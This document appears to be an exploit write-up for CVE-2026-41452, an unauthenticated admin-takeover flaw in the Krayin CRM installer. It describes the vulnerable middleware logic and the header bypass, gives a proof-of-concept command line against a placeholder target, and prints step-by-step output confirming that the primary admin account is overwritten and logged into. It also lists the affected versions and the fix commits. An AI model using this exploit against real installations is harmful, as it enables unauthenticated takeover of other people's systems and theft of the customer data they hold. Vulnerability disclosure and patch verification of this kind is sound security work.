
CVE-2026-41452 — Krayin CRM unauth installer bypass (X-Requested-With) → admin takeover. Verified: overwrite + login on 2.2.4, blocked on 2.2.5
CVSS 9.8 (Critical) · CWE-287 / CWE-306 · Jiva writeup · VulnCheck
Krayin CRM's installer exposes POST /install/api/admin-config-setup (plus run-migration,
run-seeder) without CSRF protection (withoutMiddleware('web') group). The CanInstall
global middleware only blocks the route for non-AJAX requests:
// app/Http/Middleware/CanInstall.php
if ($this->isAlreadyInstalled() && ! $request->ajax()) {
return redirect()->route('admin.dashboard');
}
Sending X-Requested-With: XMLHttpRequest skips the check entirely. The controller then
updateOrInserts the hardcoded primary admin (user id=1) with attacker-supplied
name/email/password (role_id=1, status=1) → unauthenticated full admin takeover on an
already-installed instance.
Affected: ≤ 2.2.0 and 2.2.4 (regression). Fixed: 2.2.1 (e4eb96f5), regressed in 2.2.4
(6a7bc4cc), re-fixed in 2.2.5 (ea4919a8). master was still vulnerable at research time.
python3 poc_cve-2026-41452.py http://TARGET newadmin [email protected] 'NewPass@123'
Chain:
X-Requested-With: XMLHttpRequest → HTTP 200 1 → admin (id=1) overwritten/admin/login with the new credentials → redirect to /admin/dashboard[0] NON-AJAX POST -> HTTP 302 (blocked by CanInstall) [OK control]
[1] AJAX POST /install/api/admin-config-setup -> HTTP 200 '1' [OK overwrite]
[2] login [email protected] -> HTTP 302 /admin/dashboard [OK]
[3] GET /admin/dashboard -> HTTP 200 (full dashboard) [OK]
=== VERDICT: CVE-2026-41452 EXPLOITABLE ===
Fixed-build comparison: with v2.2.5 files the same AJAX POST → HTTP 403 (blocked).
Any publicly reachable Krayin CRM install (v2.2.4 or ≤2.2.0) can be fully taken over by an unauthenticated attacker in one request. No CSRF, no credentials, no interaction required.
ea4919a8 (v2.2.5) · Regression: 6a7bc4cc (v2.2.4) · First fix: e4eb96f5 (v2.2.1)